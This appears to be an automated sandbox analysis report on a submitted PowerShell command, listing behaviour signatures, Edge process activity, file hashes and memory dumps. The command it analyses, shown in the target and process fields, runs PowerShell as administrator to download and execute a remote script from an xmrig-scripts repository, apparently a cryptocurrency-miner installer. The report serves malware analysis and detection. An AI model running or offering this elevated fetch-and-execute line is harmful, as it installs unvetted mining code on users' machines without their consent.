Windows 7 deprecation

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Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-1703_x64
  • resource
    win10-20240611-en
  • resource tags

    arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
  • submitted
    15/09/2024, 12:45

General

  • Target

    http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

Malware Config

Signatures

  • Drops file in Windows directory 4 IoCs
  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\LaunchWinApp.exe
    "C:\Windows\system32\LaunchWinApp.exe" "http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex"
    1⤵
    • Access Token Manipulation: Create Process with Token
    PID:4488
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
    1⤵
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4520
  • C:\Windows\system32\browser_broker.exe
    C:\Windows\system32\browser_broker.exe -Embedding
    1⤵
    • Modifies Internet Explorer settings
    PID:3960
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Modifies registry class
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:692
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:2400
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    PID:4244
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Modifies registry class
    PID:2800

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ZVQ9VIUB\edgecompatviewlist[1].xml

    Filesize

    74KB

    MD5

    d4fc49dc14f63895d997fa4940f24378

    SHA1

    3efb1437a7c5e46034147cbbc8db017c69d02c31

    SHA256

    853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1

    SHA512

    cc60d79b4afe5007634ac21dc4bc92081880be4c0d798a1735b63b27e936c02f399964f744dc73711987f01e8a1064b02a4867dd6cac27538e5fbe275cc61e0a

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\FIQW5K1I\suggestions[1].en-US

    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

  • memory/2400-47-0x00000274947C0000-0x00000274948C0000-memory.dmp

    Filesize

    1024KB

  • memory/4244-61-0x00000203C24B0000-0x00000203C24B2000-memory.dmp

    Filesize

    8KB

  • memory/4244-65-0x00000203C24F0000-0x00000203C24F2000-memory.dmp

    Filesize

    8KB

  • memory/4244-63-0x00000203C24D0000-0x00000203C24D2000-memory.dmp

    Filesize

    8KB

  • memory/4244-59-0x00000203C2490000-0x00000203C2492000-memory.dmp

    Filesize

    8KB

  • memory/4244-55-0x00000203C2450000-0x00000203C2452000-memory.dmp

    Filesize

    8KB

  • memory/4244-57-0x00000203C2470000-0x00000203C2472000-memory.dmp

    Filesize

    8KB

  • memory/4520-0-0x00000245D2C20000-0x00000245D2C30000-memory.dmp

    Filesize

    64KB

  • memory/4520-35-0x00000245D1D40000-0x00000245D1D42000-memory.dmp

    Filesize

    8KB

  • memory/4520-84-0x00000245D94A0000-0x00000245D94A1000-memory.dmp

    Filesize

    4KB

  • memory/4520-85-0x00000245D94B0000-0x00000245D94B1000-memory.dmp

    Filesize

    4KB

  • memory/4520-16-0x00000245D2D20000-0x00000245D2D30000-memory.dmp

    Filesize

    64KB